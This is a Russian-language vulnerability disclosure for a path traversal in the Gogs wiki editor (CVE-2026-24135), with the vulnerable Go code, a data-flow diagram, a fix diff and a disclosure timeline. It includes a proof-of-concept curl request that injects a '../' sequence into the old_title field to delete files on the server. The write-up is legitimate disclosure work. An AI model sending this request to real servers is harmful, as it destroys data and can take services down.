
Произвольное удаление файлов в Gogs через обход пути в Wiki
Серьёзность: Высокая (CVSS 7.5)
Затронутое ПО: Gogs <= 0.13.3
Исправлено в: 0.13.4, 0.14.0+dev
Уведомление о безопасности: GHSA-jp7c-wj6q-3qf2
Патч: gogs/gogs#8099
В ходе аудита безопасности Gogs (популярного самохостингового Git-сервиса, написанного на Go) я обнаружил уязвимость обхода пути в функции updateWikiPage. Она позволяет аутентифицированному пользователю с правом записи в wiki удалять произвольные файлы на сервере, внедряя последовательности обхода пути в параметр old_title формы редактирования wiki.
Уязвимость представляет собой асимметричный дефект санитизации в internal/database/wiki.go. При обновлении страницы wiki функция по-разному обрабатывает два параметра заголовка:
| Параметр | Санитизация? | Используется в |
|---|---|---|
title (новое имя) | Да — через ToWikiPageName() | path.Join() для создания файла |
oldTitle (предыдущее имя) | Нет | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← VULNERABLE
}
Значение oldTitle передаётся напрямую из управляемого пользователем поля формы через обработчик маршрута в os.Remove() без какой-либо санитизации пути.
User Input (Form) Route Handler Database Function
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (unsanitized) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ No sanitization! │ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
Предварительные условия: аутентифицированный пользователь с правом записи в wiki любого репозитория.
/repo/wiki/editold_title, добавив в него последовательности обхода пути (например, ../../../../tmp/target_file)# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# Result: /tmp/target_file.md is deleted from the server
Расширение .md добавляется автоматически. Любой файл с расширением .md, к которому у процесса Gogs есть доступ на запись, может быть удалён.
| Влияние | Описание |
|---|---|
| Произвольное удаление файлов | Удаление любого .md-файла, к которому у процесса Gogs есть доступ на запись |
| Отказ в обслуживании | Удаление критически важных конфигурационных файлов или файлов данных |
| Потеря данных | Уничтожение wiki-страниц, документации или файлов репозиториев других пользователей |
| Потенциальная эскалация | В сочетании с другими уязвимостями может привести к дальнейшей компрометации |
Примените к oldTitle ту же санитизацию с помощью ToWikiPageName, которая уже применяется к title:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... existing code ...
title = ToWikiPageName(title)
+ // Sanitize oldTitle to prevent path traversal
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
Я предложил это исправление в ходе раскрытия информации, и мейнтейнеры Gogs реализовали его в PR #8099.
| Дата | Событие |
|---|---|
| 2025-12-13 | Уязвимость обнаружена в ходе аудита безопасности |
| 2025-12-13 | Уведомление подано через GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) |
| 2026-01-20 | Повторное обращение к мейнтейнерам Gogs |
| 2026-01-20 | Мейнтейнер подтвердил уязвимость |
| 2026-01-22 | Патч объединён (#8099) |
| 2026-01-22 | CVE-2026-24135 присвоен GitHub |
| 2026-02-06 | Публичное раскрытие |